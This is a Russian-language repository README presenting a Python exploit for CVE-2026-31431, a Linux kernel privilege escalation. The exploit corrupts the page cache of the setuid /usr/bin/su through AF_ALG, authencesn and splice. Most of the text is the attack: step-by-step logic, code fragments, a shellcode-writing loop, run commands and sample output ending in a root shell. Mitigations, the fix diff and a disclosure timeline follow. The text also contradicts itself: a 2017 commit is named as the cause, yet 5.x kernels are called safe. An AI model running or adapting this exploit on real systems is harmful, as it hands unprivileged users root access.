
Эксплойт на Python для CVE-2026-31431 — повышение привилегий в ядре Linux через повреждение page cache у setuid-бинарников, позволяющее получить root-доступ.
Copy Fail (CVE-2026-31431) — это критическая логическая ошибка в криптографической подсистеме ядра Linux, которая позволяет непривилегированным пользователям получить повышение привилегий до root. Уязвимость затрагивает ядра Linux версий 6.0.0 — 6.18.x во всех основных дистрибутивах.
Этот репозиторий содержит реальный эксплойт, который вызывает уязвимость путём повреждения страничного кэша setuid-бинарников и выполнения произвольного кода с привилегиями root.
Copy Fail — это логическая ошибка, которая позволяет непривилегированным пользователям записывать произвольные 4-байтовые фрагменты непосредственно в страничный кэш ядра любого читаемого файла в системе, включая setuid-бинарники.
Ключевые характеристики:
Уязвимость проистекает из оптимизации 2017 года в algif_aead.c (коммит 72548b093ee3), которая изменила операции AEAD с внешних (out-of-place) на внутренние (in-place):
До (безопасно — 2015):
TX Scatterlist (вход) ← TX буфер (данные пользователя из файла)
RX Scatterlist (выход) ← RX буфер (область вывода пользователя)
Раздельные scatterlist = страницы страничного кэша доступны только для чтения
После (уязвимо — 2017):
Объединённый Scatterlist:
[ RX буфер ] [ Страницы страничного кэша, связанные через sg_chain() ]
↑ ↑
req->src = src req->dst = dst (ОДИН И ТОТ ЖЕ scatterlist)
Страницы страничного кэша теперь находятся в ЗАПИСЫВАЕМОМ scatterlist!
Объединённый scatterlist выглядит так:
[AAD + Шифротекст из RX буфера] || [Тег из страничного кэша /usr/bin/su]
↑
Граница
(authencesn записывает ЗА эту точку)
Алгоритм authencesn — это обёртка AEAD, используемая IPsec для расширенных порядковых номеров (ESN). Он выполняет вычисление HMAC, но ему необходимо переупорядочить байты внутри AAD (аутентифицированных сопутствующих данных).
В коде ядра (crypto/authenc.c) при расшифровке:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // чтение байтов AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // временно: перезапись dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← КЛЮЧЕВАЯ СТРОКА
// запись 4 байтов в dst[assoclen+cryptlen]
Проблема: третья запись происходит по смещению assoclen + cryptlen. В уязвимом внутреннем (in-place) пути:
Ядро рассматривает эту позицию как «расходуемое scratch-пространство» и записывает туда значение навсегда. Исходные байты в этой позиции страничного кэша теряются безвозвратно.
1. Атакующий открывает AF_ALG сокет → привязывает к authencesn(hmac(sha256),cbc(aes))
(Привилегии не требуются; AF_ALG доступен непривилегированным пользователям по умолчанию)
2. Атакующий открывает целевой файл: /usr/bin/su (setuid-root бинарник)
3. Атакующий использует splice() для доставки страниц страничного кэша /usr/bin/su
в AF_ALG сокет в качестве «шифротекста» и «тега»
4. Атакующий отправляет sendmsg() с AAD, содержащим:
- Байты 0-3: заполнение
- Байты 4-7: seqno_lo = 4-байтовое значение для записи (контролируется атакующим)
- Байты 8+: заполнение
5. Атакующий вызывает recvmsg(), который запускает операцию расшифровки AEAD
Внутри расшифровки authencesn в пространстве ядра:
a) Ядро читает байты AAD 0-7
b) Ядро записывает seqno_hi в dst[4..7] (временно, затем восстанавливает)
c) Ядро записывает seqno_lo в dst[assoclen + cryptlen]
↓
ЭТА ЗАПИСЬ ПЕРЕСЕКАЕТ ГРАНИЦУ ИЗ БУФЕРА ПОЛЬЗОВАТЕЛЯ В СТРАНИЦЫ СТРАНИЧНОГО КЭША
↓
4-байтовая запись в страничный кэш /usr/bin/su происходит ЗДЕСЬ
d) Ядро вычисляет HMAC (проверка не проходит — шифротекст сфабрикован)
e) recvmsg() возвращает ошибку
НО: 4-байтовая запись УЖЕ СОХРАНЯЕТСЯ в страничном кэше
6. Атакующий повторяет шаги 2-5 для каждого 4-байтового фрагмента шеллкода
7. Атакующий выполняет /usr/bin/su
- Ядро загружает бинарник из СТРАНИЧНОГО КЭША (который теперь содержит шеллкод)
- Бинарник является setuid-root
- Шеллкод выполняется с UID=0
- Атакующий получает доступ root
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Сокет запроса для операций AEAD
Создайте AF_ALG сокет, привязанный к шаблону AEAD authencesn.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Откройте setuid-бинарник, который будет повреждён. Подходит любой читаемый файл, но setuid-бинарники выбираются для повышения привилегий.
pipe_rd, pipe_wr = os.pipe()
Создайте канал, который будет действовать как посредник для операций splice(). Буферы канала будут содержать ссылки на страницы страничного кэша.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Используйте splice() для передачи cryptlen байтов из /usr/bin/su, начиная с write_offset, в канал.
Почему это важно: splice() передаёт данные между файловыми дескрипторами без копирования. Он передаёт прямые ссылки на страницы страничного кэша ядра. Эти страницы остаются во внутренней буферной структуре канала.
assoclen = 8 # Длина AAD: байты 0-7
cryptlen = 32 # Длина шифротекста (== вывод HMAC-SHA256)
authsize = 32 # Длина тега
write_offset = 0x2000 # Смещение в /usr/bin/su для записи
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
AAD (аутентифицированные сопутствующие данные) содержит:
Алгоритм authencesn будет использовать байты 4-7 этого AAD в своей scratch-записи.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Отправьте AAD в AF_ALG сокет. Флаг MSG_MORE указывает, что шифротекст/тег последуют далее.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
Передайте страницы страничного кэша из канала в AF_ALG сокет. Теперь scatterlist ядра содержит:
Цепочка Scatterlist:
[ AAD (из RX буфера) ] || [ Шифротекст (из RX буфера) ] → [ Тег (страницы страничного кэша) ]
↑
По-прежнему ссылается
на страницы /usr/bin/su
try:
req_sock.recv(1024)
except OSError:
pass # Ожидается сбой с недействительным HMAC
Вызовите recvmsg() для запуска операции расшифровки AEAD:
Внутри authencesn в пространстве ядра:
dst[assoclen + cryptlen]
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
Эксплойт зацикливается, записывая 4-байтовые фрагменты шеллкода по последовательным смещениям в страничном кэше /usr/bin/su.
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
Выполните /usr/bin/su:
os.splice())lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
Ожидаемый вывод на уязвимой системе:
[*] CVE-2026-31431 (Copy Fail) Повышение привилегий в ядре Linux
[*] Цель: /usr/bin/su (setuid-root бинарник)
[*] Версия ядра: 6.12.0-1007-aws
[+] Ядро 6.12.x находится в уязвимом диапазоне (6.0 — 6.18)
[+] Найден /usr/bin/su (setuid-root бинарник)
[+] Проверка уязвимости ядра: AF_ALG + splice + authencesn
[*] Начало повреждения страничного кэша...
[*] Внедрение 33 байтов шеллкода в /usr/bin/su
[+] Записан фрагмент 0 по смещению 0x2000
[+] Записан фрагмент 1 по смещению 0x2004
...
[+] Внедрение шеллкода успешно!
[*] Выполнение /usr/bin/su для запуска шеллкода...
# id
uid=0(root) gid=1001(user) groups=1001(user)
Отключение поддержки AEAD в AF_ALG:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
Это предотвращает доступ эксплойта к интерфейсу AEAD в AF_ALG, сохраняя при этом остальную функциональность AF_ALG.
Выгрузка уязвимых модулей:
sudo rmmod algif_aead
sudo rmmod authencesn
Блокировка создания AF_ALG сокетов через seccomp (для контейнерных сред):
# В политике безопасности контейнера запретить системные вызовы socket(38, SOCK_SEQPACKET)
Обновитесь до Linux 6.19+, который включает исправление (коммит a664bf3d603d).
Исправление возвращает algif_aead.c к внешним (out-of-place) операциям AEAD:
// До (уязвимо, in-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL (вход)
rsgl_src, // RX SGL (выход) — ТОТ ЖЕ
used, ctx->iv);
// После (исправлено, out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL (вход)
rsgl_src, // RX SGL (выход) — РАЗНЫЙ
used, ctx->iv);
С раздельными scatterlist источника и назначения:
Этот эксплойт предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащую авторизацию перед тестированием уязвимостей.
| Аспект | Объяснение |
|---|
| Без сбоев | Операция завершается с точки зрения ядра |
| Детерминированность | Нет гонок; синхронно и надёжно |
| Постоянство | Повреждение страничного кэша сохраняется даже после ошибки recvmsg() |
| Невидимость | Файл на диске не тронут; стандартные инструменты целостности ничего не обнаруживают |
| Универсальность | Один и тот же код работает во всех дистрибутивах; не требуются смещения для каждого дистрибутива |
| Переносимость | Работает на архитектурах x86-64 и ARM64 |
| Дата | Событие |
|---|
| 2017-Q3 | Уязвимость внедрена в algif_aead.c (коммит 72548b093ee3) |
| 2026-03-23 | Сообщено команде безопасности ядра Linux |
| 2026-03-24 | Команда ядра подтверждает уязвимость |
| 2026-03-25 | Предложены и рассмотрены патчи |
| 2026-04-01 | Патчи объединены в основную ветку ядра (коммит a664bf3d603d) |
| 2026-04-22 | Присвоен CVE-2026-31431 |
| 2026-04-29 | Публичное раскрытие (Xint Research) |
| Серия | Статус | Детали |
|---|
| Linux 5.x | ✅ Безопасно | Предшествует уязвимости |
| Linux 6.0 — 6.18 | ❌ Уязвимо | Затронуты все минорные версии |
| Linux 6.19+ | ✅ Безопасно | Содержит исправление (коммит a664bf3d603d) |
| Linux 7.0+ | ✅ Безопасно | После объединения исправления |